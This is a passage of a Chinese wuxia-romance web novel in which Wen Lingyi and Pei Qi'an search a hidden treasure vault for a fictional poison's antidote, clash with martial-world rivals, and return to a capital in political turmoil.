众人并不反对,也许是金银财宝太多,反而让这些人根本起不来一点点的贪念。 裴祈安起身,直接把温令仪抱在怀里,纵身从入口缓缓地落入密室内。 说是密室,可这里太大,温令仪怀疑大梁皇室是把梅山相连的某个山脉底下都掏空了。 如此浩大的攻城,除非是大梁开国之君登基之时就开始筹备,否则怎么能完成。 二人落到地面上,裴祈安牵着温令仪的手,二人小心翼翼的在寻找,抬头,穹顶上都是夜明珠,大大小小犹如满天星斗,仔细看确实如满天星斗一般。 散发的光芒照亮了这里的每个角落。 墙壁上都是黄金铸成,周围整齐的摆放着金条,像是一面面墙,还有金砖砌成的池子,池子里都各种珍宝。 “我们要找的东西,不在这里。”温令仪说着,抬头往前面看。 裴祈安带着她往前走:“一定会有特别的密室,密室里一定有更珍贵的东西。” 二人沿着金砖铺成的路走了良久,奈何没有看到任何密室。 裴祈安让温令仪站在原地,他飞身而起站在最高处往下仔细查看,整个密室竟是八卦图形,居高临下才能看清。 他手指掐动,再次落下的时候,心里已经有了成算。 带着温令仪往东北方向去,一路走到尽头,面前是石壁,而不是金砖。 “我试试。”裴祈安让温令仪退后,他运内力在掌心,试探石壁上是否有机括。 “啊——” 温令仪惊呼声传来,裴祈安的动作比头脑更快,飞身扑过来拉住了温令仪的手,温令仪身体悬空,下面是黑洞洞的深渊。 裴祈安心神大乱,明明是生门,怎么会是这样? 来不及多想,裴祈安用力也不能拉温令仪出来,索性直接下来,把温令仪抱在怀里,两眼一闭:“温令仪,你永远都不能离开我,哪怕是死。” 温令仪被裴祈安紧紧地护在怀里,心里说不出来是个什么滋味儿,都到了这个时候,他怎么还能说出来这样的话? 身体往下落的速度很快,裴祈安努力的稳住心神,听到了水声,这水声让他心里升腾起来了希望,护住温令仪,二人落入了地下河。 “水,竟然是温热的?”温令仪出声。 裴祈安抱着温令仪到岸边,两个人都湿淋淋的,暗河里漆黑一片,看不清对方的模样。 “有水就有出路。”裴祈安说。 温令仪点头:“我们甚至可以把所有的金银财宝都扔到暗河里,或者是从暗河里运送出去。” 裴祈安摸索着把温令仪拉到怀里:“我们先去寻找,这里是生门,既然是暗河,我们就顺着河水往下游去。” “为何是下游?”温令仪不接。 裴祈安柔声:“因为是生门,水往低处流,我记得距梅山三十里的地方有一个深渊名叫鹰嘴崖,鹰嘴崖下面是永远水汽升腾的,犹如仙境一般。” “我懂了!”温令仪来了力气:“因为这里的水是温热的,鹰嘴崖是出口,温热的水到陆地上形成深潭,冷热水遇到一起就会起水雾。” “阿宁真聪明。”裴祈安往上看了看:“只是我们不知道什么时候能出去,怕老道长和那些人等急了。” 温令仪当然也担心,不过这个时候担心没用,拉着裴祈安起身:“那咱们动作快点儿。” “水性如何?”裴祈安问。 温令仪点头:“尚可。” 两个人用布带系在一起,下了温热的暗河,一路顺流而下,速度极快。 “裴祈安,没有暗礁。”温令仪说。 裴祈安点头:“所以上游有船。” “我也是这么想的,毕竟那么多金银财宝要运送出去,还要秘密的运送出去不容易,看来我们这次不会无功而返。”温令仪心里是有些小小遗憾的,她其实最想要找到的就是半边月的解药。 前面水声越来越大,裴祈安直接把温令仪抱在怀里,一提气从暗河里腾身而出,落在了岸边。 二人慢慢往前走,原以为前面就是出口,可眼前竟然是一个石室。 石室内什么都有,石锅、木柴,床铺,甚至有灯。 二人找到了火折子,点了灯。 温令仪眼睛都冒光了,书!很多很多书!药架子,各种草药,最神奇的是这里能听到水声,可是一点儿水汽也没有,屋子里非常干燥。 裴祈安点了火,两个人烤干了身上的衣服。 温令仪先去看药架子,可能是年头太多,药架里面的草药都不能用了。 那些书多是竹简,倒是保存的极好。 温令仪双手微微颤抖,回头:“裴祈安!毒方。” 裴祈安快步过来,看温令仪小心翼翼的擦拭竹简,竹简上面写着:半边月毒方。 往后翻看,竟然是半边月解方。 二人对视一眼后,忍不住笑出声来。 温令仪把毒方和解方都背熟,二人离开密室,前面走了一炷香的工夫,竟是水帘洞一般的景致,以为到这里水流会非常湍急,可事实上并没有,反而很舒缓。 “我们下去吗?”温令仪看裴祈安。 裴祈安摇头:“原路返回,按照咱们的原计划,带着人离开,入口全部封死。” “好,有朝一日,你执掌天下的时候,记得把这里的金银财宝都用在黎民百姓身上,那也算完成了上官子玉的托付了。”温令仪说。 裴祈安凝视着温令仪:“你知道今天是什么日子吗?” 温令仪一愣,转而脱口而出:“毒发之日。” 裴祈安轻笑出声:“所以,我们不着急回去。” 温令仪知道裴祈安打了什么主意,看他额角青筋开始凸起,也没有拒绝的心思,二人回到了石室内,水声、风声入耳。 “你会成为我的皇后。”裴祈安说了一遍又一遍,如同梦呓一般。 入口处。 天成子几次睁开眼睛看着入口,饶是一辈子的养气功夫也快挺不住了,心急如焚莫过如此。 “几天了?”天成子问。 虎子坐在天成子身边:“应该三天了。” “三天了,怎么还没动静?”天成子起身:“不行,我要去看看!” 话音未落,裴祈安抱着温令仪从入口处出来,二人气色红润,丝毫不像是遭罪了的模样,天成子扫了眼裴祈安,心里冷哼一声,这个黑心肝的! 第212章 梅山出口被围攻 梅山往外走,温令仪在最前面,裴祈安在最后面,中间的天成子率领药王谷众人。 离开的路上把那些龙鳞卫都带着,死在里面的就地掩埋,因裴祈安震碎了周围的石壁,把入口全部堵死了。 外面这些龙鳞卫只知道退路凶险,完全不知道里面到底是什么情况,裴祈安神色疲惫的出现在这些人面前,他们都有了不好的预感。 “张芳,立刻派人回去给皇上送消息。”裴祈安撕下来半幅袍子里衬,咬破手指写了几个字交给龙鳞卫的指挥使。 张芳双手接过来:“王爷,属下护您回京。” 裴祈安摇头:“此事惊动了江湖中人,我们很难全身而退,你带着一部分人先离开。” “这?”张芳知道皇上多信任裴祈安,没想别的,就是觉得若不护着裴祈安全须全尾的回京,自己这脑袋怕是保不住了。 “不能让皇上什么也不知道,走!”裴祈安说罢,回手内力吞吐的时候,震碎了后面的入口。 张芳单膝跪地:“是!” 事关重大,不敢耽搁,张芳亲自带着密信,率领自己最亲近的十个人离开。 与此同时,裴祈安等人也出现在入口处,龙鳞卫护住温令仪,余下的人扇面站在前面,天成子气沉丹田:“各路兄弟,来都来了,也就别藏头露尾了。” 龙鳞卫是皇上身边最精锐的人,其中不乏练内家功夫的高手,天成子这一手狮子吼让龙鳞卫的人都绷紧了神经。 随着话音落下,不下千人像是凭空冒出来了似的,这些人装束各异,一个个都虎视眈眈的盯着这些人。 天成子冲这些人一拱手:“各位都是江湖中人,江湖规矩见者有份,药王谷虽是应朝廷所求,前来寻找大梁宝藏,可从不曾忘记过这规矩,老朽如实告知各位,这里并没有什么宝藏,是陷阱。” “老道长。” 一个红衣女子飘然而至,打量着天成子:“都说地狱门前僧道多,概因僧道知因果而背因果,您为了自己的徒弟,连因果都不在乎了吗?” 言外之意,天成子在撒谎。 天成子摇头:“红姑,若是不信,尽可去,我们离开,这梅山各处,众位都可去寻,或许宝藏未遇有缘人而不显,我等无缘,诸位未必没有这个机缘。” “想走?”一个壮汉扛着金丝大环刀走到红姑旁边,大刀一指,指向了温令仪:“你们可以走,这个娘们得留下来,是她说要寻密藏必须学会毒经,唯有如此才能全身而退,如今你们折损了至少三百人,想必里面机关重重,老道长,我们敬药王谷医术了得,所以你带着你的人可以离开。” 天成子被气笑了,看着壮汉:“晁雄啊,你以为我药王谷连一个门内弟子都保护不了?也不睁开你的狗眼看清楚了,这是镇国公府的二小姐,是京城时疫,泾河府时疫,首当其冲救百姓于水火中的药王谷弟子,你想要动她?你且问问,但凡心里有道义的人,谁会答应?” “哈哈哈,天成子,你是急眼了啊。”百晓生周仓从人群后面走出来,手里摇着蒲扇,扫了眼两边的人,目光落在温令仪的身上。 天成子扫了眼周仓,冷声:“受人恩惠,不思回报也就罢了,还要加害救命恩人,也配说自己是闯江湖的?” 周仓知道天成子这是在骂自己,清了清嗓子,冲温令仪深鞠一躬:“温二小姐,在下得你指点后,如今算是困鸟出笼,今日和众位道上的朋友聚到一起,确实是财宝动人心,不过看你们空手而回,那必定是少了有能耐的人,若我们各站所长,再探梅山,保不齐就能得到大梁宝藏了,你说呢?” 温令仪微微颔首:“周大先生,此番上梅山,是朝廷的意思,若江湖中人想要分一杯羹,说起来也不难,众位可以跟我们去京城,到时候让摄政王跟皇上奏明,保不齐当今皇上会招贤纳士,再探梅山呢。” “你这话说的轻巧,我们入京城,只怕没有活路了。”晁雄把金丝大环刀扛在肩上,冷笑:“今儿,谁也别逞口舌之力,也绝没有那么容易就能让你们离开,要么交出来藏宝图和温令仪,要么就硬碰硬,谁让温令仪在泾河府把消息传到了江湖上,那就别怪我们不道义。” 晁雄说罢,左右看了一眼断喝一声:“还在看什么?有本事就手底下见真章,浪费口舌有什么意思?动手!” 说着,一晃手中的金丝大环刀就冲上去了。 天成子身边的众人立刻上前迎敌,裴祈安让龙鳞卫护着温令仪往后退,也纵身加入了混战。 温令仪看周仓,周仓退到一边,并非像作壁上观的样子,反倒是眉头微微蹙起,往远处张望了几眼。 难道还有帮手? 温令仪心下骇然。 裴祈安脚边已经有了三四个人在哀嚎了,可见并没有下死手。 这时,一支暗箭突然出现,直奔天成子而去。 周仓神色大变,怒喝一声:“不能伤老谷主!” 天成子眼神冰冷,抬起手欲接暗箭。 叮一声,暗箭偏离了原本的目标,没入了天成子身后的石头里。 温令仪刚才一刹那,心都提到了嗓子眼儿,这会儿来不及松口气,就见远处有四个黑衣人抬着一顶轿子,轿子用得是蚕丝纱,四个人像是凌空而来一般,轿子缓缓地落下了两拨人中间。 晁雄脸色顿时变了。 “江湖人?”轿子里的人拉长了声调,语气带着嘲讽:“尔等算什么江湖人?乌合之众,巧取豪夺,污了江湖二字,还敢大放厥词,为难药王谷?当真不知本盟主的金兰之交是药王谷的关门弟子吗?” 话音落下,一条微不可见的金丝线缠住了晁雄的脖子,下一刻人头飞起,四个抬轿人中,一人飞身而起,直接一脚踹飞了晁雄的尸体,人未落地,一个倒挂金钩,连那人头都飞得不见了踪迹。 “真是晦气。”话音落下,一身黑色绣金色山河图,戴着银面具的墨染从轿子里走出来,抬眸扫视在场的众人,沉声:“周仓,所有在这里的人都记下来,若觉得是江湖中人,那本盟主就要清理门户了。” 周仓恭敬的垂首。 在场众人都被震惊得无以复加,江湖盟主和温令仪竟然是金兰之交,这个消息怎么一点儿风声也没有? 温令仪赶紧上前给虎子几个人检查伤口,混战中难免受伤,所幸伤势都不严重。 墨染神色冰冷的立在最前面,沉声:“把这些人,清理了。” “是。”四个黑衣轿夫拱手。 温令仪愕然的看着眼前的一切,四个人,就四个人,砍瓜切菜一般在杀人,江湖,刀尖上舔血,是这样的吗? 第213章 京城,风声鹤唳 墨染走到温令仪身边,看了眼受伤的人:“我护送你们回京。” “墨染,谢谢你。”温令仪是真心道谢,不单单因为此时的解围,还有护着小囡囡和在西域三十六国的浴血奋战。 墨染看了眼温令仪,戴着面具,温令仪看不清墨染的表情。 “无需道谢,整顿一下,走。”墨染说。 众人哪里还需要整顿?退走必须要快,纵然是墨染,财宝动人心的时候,谁能保证不会越聚越多,群狼撕虎的道理,谁不懂得? 温令仪被天成子和药王谷的人护在中间,裴祈安带领龙鳞卫在前开路,墨染一个人走在最后面,走出去好远,温令仪回头看了眼,那四个轿夫已经抬着轿子回来了,不过墨染没有坐进去,再往后跟着一些人,那些人是敌是友分不清。 一路到了梅山的山脚下,裴祈安提前让人准备了马车,众人上了马车没有惊动当地官员,沿着官道往京城去。 温令仪的马车里,墨染摘下了面具,闭目养神。 “墨染,我们这一路上都不会太平是吗?”温令仪问。 墨染摇头:“有我在。” 温令仪勾了勾唇角,是啊,有墨染在,身为江湖盟主,江湖地位不容置喙,有她保驾护航,这一路上会少很多波折。 “你还要留在京城吗?”墨染问。 温令仪叹了口气:“是的,还不到我离开的时候。” “那刚好,我也要在京城一段日子,不知道能不能学一学毒经?”墨染抬眸看温令仪。 温令仪这才看到墨染的白眼仁几乎都被血丝覆盖,心头大惊:“我给你请个脉。” “我?无妨,只是最近无法入睡。”墨染说这句话的时候也挺无奈的,毕竟近半个月都无法入眠,最多就是闭目养神,外人看不出来,可自己骨蒸脉疼的难以忍受。 温令仪取出来银针:“我诊脉之后,可以施针,墨染,你要相信我。” 相信她? 墨染觉得自己也没有什么理由不相信她,自己在这个位面停留了许多年,头一遭遇到重生的人,更是在自己的经历中,头一次遇到了穿越人,更不用说还如此密集,其实她一直觉得,所有这些人,包括自己,都是在围绕着眼前这个女人转。 伸出手腕。 温令仪三指取脉,低垂着眉眼仔细的诊脉,不是中毒,不是静脉逆转走火入魔,但墨染的脉象驳杂,其中竟还有一丝丝的死气。 “这脉象,是怎么回事?”温令仪喃喃自语。 墨染沉声:“我在做一件事,还有三年时间,若三年内这件事还不能成功,你所探查到的死气会要了我的命。” 也就是说,任务失败,她会被抹杀。 只是这样的话跟温令仪说,她未必能听懂,本来这个位面就复杂的厉害,她不想再添乱了。 温令仪收回手,取出来毒经放在墨染的面前:“你是习武之人,对于人的周身经脉非常了解,这毒经前半部其实讲的就是人的身体,若有需要我的地方,必定知无不言言无不尽。” “多谢。”墨染拿过去毒经。 “现在要多休息,我能给你施针,睡一觉或许能好很多。”温令仪说。 墨染抬眸,勾起唇角笑了:“求之不得,我真是累得很。” 温令仪跪坐在榻前,墨染躺在榻上,马车的颠簸似乎都没影响,随着温令仪施针,墨染真感觉到了倦意,含糊的说了句:“你的医术,确实了得啊。” 温令仪没言语,等墨染睡着后,就坐在旁边,静静地听着墨染绵长的呼吸。 一路上,裴祈安带着人护着马车,沿途有靖安司的人出现,都没有现身。 京城,永元帝看着裴祈安用血书写的消息,心里泛起了秋凉,宝藏应该有,但寻未果,惊动了江湖门派,恐无法全身而退,唯望吾皇收到消息后,他日能得如此助力,余愿足矣。 落款玉琢二字,血迹已淡。 “张芳,跟孤细细说来。”永元帝闭目养神。 张芳从进了落霞山到一路往里,每一个细节都没有遗漏。 “药王谷来了多少人?”永元帝依旧没有睁开眼睛,问。 张芳沉声:“除药王谷的十二弟子外,还有七个人,这七个人据说是药王谷建立之初,受恶人谷恶人所托付的后人。” “如此阵仗都无法得到宝藏。”永元帝缓缓地吸了口气:“可看到了那些江湖门派?” 提到这个,张芳的心都凉了半截:“皇上,属下离开梅山的时候,梅山已经聚集了许多江湖门派,那些人并没有阻拦我们离开,其目的是药王谷的人。” “江湖门派从来都不愿意和朝廷作对的。”永元帝说。 张芳又说:“沿途还有许多江湖门派往梅山去,只怕这次摄政王也难以全身而退,皇上,属下回来送信儿,请皇上下令,属下去接应摄政王。” 永元帝摇头:“静观其变,最近京城不消停,有人三番五次试图入宫行刺,龙鳞卫从即日起,轮流在孤身边守卫,退下吧。” “是。”张芳不敢多言,恭敬退下。 离开御书房后,张芳忍不住摇了摇头,唇亡齿寒,他一直都知道皇上和摄政王的关系是多么的亲密,可如今皇上却在接到消息,明知道摄政王十分危险却按兵不动,呵,何止无情? 京城,风声鹤唳。 试图入宫行刺的刺客如过江之鲫,这些人功夫良莠不齐,但赴死之心却坚如磐石。 与此同时,各地都出现了义军,朝廷不作为,西凉大军压境,百姓苦不堪言,一时间永元帝成了文人墨客口诛笔伐的无能之辈,只知道龟缩隐忍。 甚至,晏怀卿叛国而去,都成了弃暗投明,当年三公,卫国公被灭门,只留下了裴祈安,镇国公和秦国公三代人都被半边月毒药所控,细节都描述的栩栩如生。 很多人都同情起来晏怀卿,甚至裴祈安都被按了个认贼作父,贪图荣华富贵,不为至亲报灭门之仇,反倒成了朝廷的走狗。 甚嚣尘上的这些往事,让天家的颜面扫地,从威严无比的天家到只能同苦难,不能共富贵的小人,哪里还有人存半分敬畏。 马车入京城。 裴祈安第一次坐进了温令仪的马车。 经过半个月的休息,墨染已神采奕奕,自是知趣儿的回到了自己的轿子里。 “此番回京,可有别的打算?”裴祈安看着温令仪:“我可以即刻送你去漠北,漠北那边传来消息,叶染秋易容成你的模样去漠北大营,已被百里青诛杀,若桃乔装成你的模样,去了西凉。” 温令仪愕然:“若桃去西凉?那多危险啊!” “你长姐陪在身边,问题不大,令仪,如今你可能更危险。”裴祈安握住温令仪的手:“处处都有人揭竿而起,西凉动手尚在其次,萧玄策的人也开始动手了。” 温令仪看着裴祈安:“我就在京城,就住在镇国公府里,我要把解药配好,就算是去药王谷,怕都凑不齐那么多草药。” 裴祈安点头:“好,我也不离开京城,我们直接入宫去。” 宫门外,裴祈安在前,温令仪和墨染在后,消息一直送到了御书房。 永元帝缓缓起身:“都回来了?好!好!” 第214章 阿宁听了一定高兴 裴祈安入宫,没带天成子,只带了温令仪和墨染。 江湖盟主和一国之君,虽然看似一国之君身份地位都要崇高很多,可在江湖人眼里,远不及江湖盟主,所以还有王不见王的规矩,谁说匪王不是王呢?况且,很多时候江湖人和朝廷人,不过是真小人和伪君子的区分罢了。 永元帝看到墨染的时候,颇为震惊,江湖盟主是个女子! 传言很多,奈何这位盟主见首不见尾,永元帝是不相信一个女子能在江湖中立足,还成了盟主的,如今亲眼看到,顿时心动了。 不是墨染这个人,而是她的身份。 有了这份心思,对墨染礼遇有加,连带着温令仪也得了个赐座的恩惠。 落座后,裴祈安言简意赅说了此行所遇阻碍,包括梅山里遭江湖人埋伏,墨染护送一行人平安归来,天成子年事已高,身体不便等。 永元帝当着墨染和温令仪的面,并没有追问宝藏的细节,而是摇头叹息:“如今,民心一盘散沙,孤鞭长莫及,处处都有不明真相的百姓揭竿而起,朝廷内忧外患,也是举步维艰啊。” 这话,明显就是说给墨染听的。 但,永元帝期待的表忠心场面并没有出现,墨染并没有接茬儿的意思,场面瞬间陷入了微妙的尴尬境地。 永元帝看裴祈安,裴祈安微微摇头。 “如此舟车劳顿,众位辛苦了,待稍作休整,孤设宴为众位接风洗尘。”永元帝说。 裴祈安、温令仪和墨染起身行礼告退。 温令仪邀请墨染住进了镇国公府,裴祈安转身又被召见入宫。 “怪不得会成为亡国之君。”墨染一落座,忍不住吐槽:“哪里有半分执掌天下的模样,要我说,比晏怀卿强不到哪里去,都是一路货色。” 温令仪噗嗤笑了:“看把你气的,不至于跟他一般见识。” 墨染喝了口茶:“如今,你还要留在京城?保不齐会把你纳了。” “那倒不会,我此番没有带着宝藏回来,不降罪就是开恩了。”温令仪顿了一下:“还想用我拿捏温家军,我不二嫁才是他最期待看到的结果。” 墨染蹙眉:“如今已然到了万事俱备的时候,为何还迟迟不动手?” “要等西凉,西凉入夏是大势所趋,温家军虽善战,但不能一边和西凉开战,一边又要和朝廷搏命。”温令仪不隐瞒墨染,提到了若桃乔装入西凉的事。 墨染眼睛一亮:“这么说,西凉会腹背受敌。” “你是说萧玄策?”温令仪看着墨染。 墨染点头:“萧玄策的野心,若不是对手有绝对的实力,他是不可能善罢甘休的,裴祈安应该是看透了萧玄策的心思,所以才要如此步步为营了,倒是我着急了。” 二人说起来当下的局势,竟又一拍即合的感觉。 与此同时,裴祈安和永元帝在下棋,说是下棋,裴祈安明显的感觉到永元帝心不在焉,但这些年来,裴祈安早就习惯了装傻,这个时候不是出手的时候,只管陪着就好。 “玉琢,如今内忧外患,实在让孤心神不宁,抓壮丁的事频频受阻,那些百姓宁可让壮年男子去投靠叛军,都不肯为朝廷效力,如此局面让孤措手不及,该如何破局?”永元帝落下一子,叹到:“罗无咎跑去了漠北,李若甫就是个貔貅,贪财又无能,党羽众多却不能为朝廷效力,难道我大夏江山,就要这般的倾覆了吗?” 裴祈安犹豫着往哪里落子,沉吟片刻才说:“百姓只是想要过安生的日子,晏怀卿叛逃西凉,动摇的不止是军心,还有民心,破雁门关直取泾河府,动摇的是国本,只是此人行为怪异,如今退回到雁门关,必定有别的图谋,就算不知道他图谋什么,对大夏都是不利的。” “确实如此啊。”永元帝说。 裴祈安落下一子后,抬头:“皇上,如今西凉那边探不出来任何消息,所谓远交近攻,先平内乱为重。” “确实如此啊。”永元帝看着裴祈安:“玉琢可有什么妙计?” 裴祈安起身,单膝跪地:“皇上,李若甫与其党羽,这些年搜刮的民脂民膏不计其数,欺上瞒下,百姓苦不堪言,勾结平阳纪家,更是在民间积怨已久,若是能趁机把李若甫与其党羽,连带着纪家的财富都收归朝廷所有,朝廷能用之于民,未必不能平息如今的民怨。” 永元帝终于找到了方向一般,人也来了精神:“那宋家呢?” “皇上,宋家和温家同气连枝,温家如今镇守漠北,温令仪和晏怀卿已断了夫妻缘分,宋家虽看似为温家,实则不是在为朝廷做事吗?漠北的粮饷九成都要靠宋家,若是皇上要动宋家,只怕会再寒了温家的心啊。”裴祈安说。 再寒了温家的心! 永元帝如遭重击,他以为裴祈安不会把这样的话说出来,尽管他知道温家是必定会寒心的,不过寒心不也在漠北镇守吗?寒心不也得为朝廷拼命吗? “这件事交给别人孤不放心,就交给玉琢去办,尽快。”永元帝说。 裴祈安拱手:“臣,遵旨。” “坐下说话。”永元帝让裴祈安坐下后,沉吟良久才说:“孤想要江湖势力,若然墨染入宫,给贵妃之位,可行?” 裴祈安面上不显,平静的说:“皇上,臣看不出可行或不可行,人心最是看不透,识不破,墨染几次三番为朝廷做事,臣到现在也没找到缘由,您乃是一国之君,行可行之事,又哪里有不可行的事呢?” 这话,永元帝爱听。 他让裴祈安动李若甫和同党,这是一步大棋,自己再把墨染收入后宫,得江湖助力,内患可平,到时候自然能全力应对西凉。 这真是柳暗花明又一村啊。 永元帝当晚设宴,款待所有去了梅山的人,席间,众人都看出来永元帝对墨染极为殷勤。 翌日,墨染入宫。 温令仪有些愤愤然,裴祈安出现的时候已经是日暮时分,但墨染还不见归来,温令仪蹙眉:“这怎么昏招频出,到底是要作到什么样子?” “墨染会离开京城,何须担忧?”裴祈安勾着温令仪的腰身:“虽然梅山的宝藏没有取出来,但我要为百姓做点儿事,阿宁听了一定高兴。” 温令仪看裴祈安:“做什么事?” “挖掉纪家,查抄李若甫和其同党。”裴祈安低声:“如何?” 第215章 陷害我当不成囡囡的好爹 风声鹤唳的京城,染了血雨腥风。 温令仪都无需闭门谢客,偌大的京城都没有一个人愿意与温家有任何瓜葛的。 谁知道皇上哪天一个不高兴,就要把温家都灭了个干净。 这样的宁静是温令仪最需要的,药王谷众人都没有离开京城,而是住在了镇国公府东西客院里,虎子带着自己的伙伴负责保护温令仪和天成子,天成子带着徒弟们负责帮温令仪熬制解药。 解药有了方子就不难了,可半边月的解药所需草药十分刁钻,包括年份都有要求,不能将就一点,比如要百年人参十二颗,这不足百年就不行,所需草药八十一味,想要凑齐,天成子都头疼。 要知道药王谷,能担得起一个王字,底蕴是必须有的,可就是这样的底蕴都炼制不出来解药,怎么能让人不头疼呢? 温令仪也着急,但心里有谱,裴祈安那边的草药可以解决大部分问题,余下的草药列了单子,裴祈安会从尚药局、纪家、李家和李家党羽手里找来的。 时间问题罢了。 李若甫飞来横祸,纪家连根拔起,朝廷上,裴祈安看着零零落落的几个朝臣,目光如炬。 有朝臣直接被吓得要掉眼泪了。 他们平日里在朝,都是边缘人,如今站在偌大的金銮殿上,都有滥竽充数的感觉。 不过能逃得过这一劫,也全赖没多大本事,李若甫都瞧不上,不得不说福兮祸所依,但裴祈安看一眼,魂都要碎了的感觉,也委实太痛苦了。 同样痛苦的还有永元帝,看着朝堂上这几个自己都不认识的朝臣,心里头凄凉如深秋,再看裴祈安,竟有一种他出手太狠的感觉,有些后悔啊。 “裴爱卿。”永元帝本想问如今怎么办? 可身为一国之君,这话问不出口。 裴祈安出列,拱手行礼:“皇上,臣以为此时正该广招贤士,招贤纳士,让天下有抱负有能力的人,可入朝为官。” “开恩科?”永元帝蹙眉,这怕是来不及啊。 “皇上,无需开恩科,只需要昭告天下,由皇上亲自考核,破格录用,不看门楣高低,只看有没有治国之能。”裴祈安说。 永元帝心里发苦,感觉如今的朝堂俨然都比不上戏班子,戏班子还能老带新,一脉相承,如今自己的处境比开国之君都不如,民心都散了,所谓的招贤纳士,不过是现如今没什么别的法子了。 转念一想,李若甫这个老东西可真狠,竟然背着自己,把朝堂上的这些臣工都收入麾下了,难道这个老东西想要造反不成? “皇上,可惠及于民,安抚百姓,如此能稳定民心,同时招安那些义士,既是为了救国,朝廷与之殊途同归,完全可以共谋大事。”裴祈安说。 朝堂上这些官员都不敢吭声,但对裴祈安的说法十分赞同,不管怎么说,文官凋零,武将无几,兵马太少,粮饷不多,破罐子破摔都可以了,至少裴祈安的法子可以试一试。 永元帝当朝下了圣旨,一道圣旨招贤纳士,一道圣旨招安各路义士,还有一道圣旨是给百姓的,免了所有赋税,手里有粮食,朝廷按市价收购,全部用现银。 三道圣旨,让病入膏肓的大夏有了回光返照之象。 裴祈安几乎每天都要在御书房待到三星偏西才能回来,当然是来找温令仪。 “解药配好了,但药引只有一份。”温令仪看着裴祈安,容色平静:“所以,药引给你。” 裴祈安就那么看着温令仪。 温令仪有些不自在,别开目光看向旁边的书架:“人,不可言而无信,当初的承诺,我记得。” “是吗?”裴祈安伸出手捏着温令仪的下巴,迫使她看着自己,四目相对的时候,勾唇一笑:“所以,我可以取走你答应我的了?” 温令仪轻声:“嗯。” “如此,也好。”裴祈安突然起身,直接把温令仪拉进怀里,双臂把人抱起来,一转身大步流星往外走。 温令仪倒是没什么紧张的,也没有丝毫惧意,解药配成了,她希望裴祈安能长命百岁,走到这一步,她觉得值了。 若说遗憾,大哥年纪和裴祈安不相上下,若是能给大哥解毒,自己就圆满了,可人性最难以看透,她不能赌裴祈安的良善。 心里有事,就没注意到往哪里去,等她被放进浴桶里的时候,整个人条件反射的缩成一团,抬头看裴祈安。 “你怕我还要在水里,取走你的心?”裴祈安立在浴桶旁,宽衣解带。 是真正的宽衣解带,不着寸缕的他迈进了浴桶里。 温令仪这才发现浴桶比寻常的大了很多,两个人坐在里面还很宽敞,抬头看裴祈安,见他精壮的身体,有些不好意思的别开脸。 两个人坦诚相待不是一次两次,但这个时候还有旖旎的心思,温令仪觉得自己大抵是病了。 “为何不看我?”裴祈安欺身过来,迫使温令仪不得不抬头,她整个人都被笼罩在裴祈安的身下,心跳得厉害。 裴祈安似是一点儿也不着急,细致的为温令仪宽衣解带,修长的手指十分灵活,温令仪像是一颗笋,一层层的被剥了个干净,莹白的肌肤都染了分红,无所适从的她只能轻叹:“裴祈安,你是个会物尽其用的人。” “物尽其用?”裴祈安两只手掐住温令仪的细腰,轻轻地笑出声来,是得逞后的模样。 水声越发响了,水花溅了一地,温令仪反倒释然了,人总是要死的,自己这辈子倒是也不亏,快活死也是死。 有了这份心思,倒是放得开。 裴祈安被惊艳到了,愈战愈勇。 东方露出鱼肚白,温令仪趴在裴祈安的肩上,拼尽了最后那一丝力气,咬住了他的肩头。 “嘶。”裴祈安被这痛感打扰了专注,一个没守住,丢盔卸甲。 “你,竟用这样的心机。”裴祈安声音沙哑,带着餍足的慵懒。 温令仪抬眸看他:“好好的待我们的女儿。” “不会,我要美人无数,子女成群,囡囡就留给萧玄策吧,免得我见到她就想你,太煎熬。”裴祈安说着,抱着温令仪起身,把人放在床上,取了软巾给她擦掉身上的水珠儿:“人,念旧也不妨碍喜新欢,我这里没有承诺给你。” 温令仪看裴祈安的表情,心头酸涩,别开脸眼泪滚落:“囡囡和寻常的孩子不一样。” “哦,是啊,若是她知道我要用她娘亲的心解毒,只怕会让萧玄策把我杀了,所以我要先下手为强。”裴祈安手上的动作不紧不慢,语调亦是如此。 温令仪转过头,眼里都是惊恐:“你!裴祈安!你竟是个如此蛇蝎心肠的人!” “不然,你要我怎么样?”裴祈安抬起手,指腹轻轻的擦掉温令仪的眼泪:“阿宁,这是你逼我的,不是吗?” 温令仪一股邪火从心里腾就冒出来了,顾不得现在的情形,两只手直接锁住了裴祈安的脖子。 裴祈安脸色瞬间涨红,倒也不甘示弱,直接跨坐上去,温令仪措手不及,只能怒道:“你!你疯了?” “对,疯了,做一次不够本,本来是想要和你做一辈子的,你不同意,还要陷害我当不成囡囡的好爹,我也不在乎了。”裴祈安压下来的时候,温令仪突然笑了。 裴祈安抬头看她。 温令仪松开双手,手臂轻轻地勾住了他的脖子,语气温柔:“玉郎,我错了,我不该逼你,咱们试试解药,就算没有药引,未必就没用啊。” 裴祈安就那么看着温令仪,突然红了眼眶,趴在温令仪的颈窝处,失声痛哭起来…… 第216章 都如此直接了吗? 温令仪只能轻轻地拍着裴祈安的背,无声的安抚。 “我送你去漠北。”裴祈安倒也收放自如,起身给温令仪更衣:“若桃不足以成大事,有勇无谋总怕会有破绽,把若桃留在京城,老道长和药王谷的人可以护她周全。” 温令仪明白裴祈安的意思。 “也要送药过去的。”裴祈安握着温令仪的手:“你的血就是药引,解开半边月的毒,大哥已经安排的差不多了。” 温令仪点头:“好。” 裴祈安深深地看了眼温令仪,心里那份不安并没有因为温令仪的妥协而减少半分,若非大局尚且火候不够,他恨不得立刻反扑回来。 翌日。 早朝上,永元帝下旨,让裴祈安往漠北去督军,同时召镇国公归京,练兵。 这个消息传到温令仪的耳中时,温令仪正在整理草药和行装,裴祈安做事雷厉风行是一方面,这个摄政王是真实至名归。 “文臣呢?”温令仪问无烬。 无烬恭敬回道:“回夫人,是罗岳。” 温令仪只觉得有些好笑,永元帝应该也是走投无路了,虽然把李若甫连根拔出,可到底失去了罗无咎的鼎力相助,如今把罗岳放在最前头,这次归京的就不能只有祖父,罗无咎也必定会重归朝堂。 只是永元帝不知道,别说君臣,就是父子之间,若有了嫌隙那也无法再像最初那般了。 临别时,温令仪去见了天成子。 天成子让温令仪坐下,良久才说:“阿宁啊,你比上官子玉运气好,因你身后有家族,身边有裴祈安,为师如今倒是觉得裴祈安有常人所没有的胸襟和城府,而这城府极有可能会让大夏免于战祸之灾啊。” 温令仪愕然:“师父的意思是?” “不可说,不可说,事以密成。”天成子摆手:“去吧,你的师兄们也要去漠北和雁门关,天下苍生事,怎么会只指望朝廷?朝廷若是无能,匹夫有责啊。” 温令仪没有继续问,心里却隐隐的有了不一样的想法。 裴祈安接到圣旨的后一日离京城。 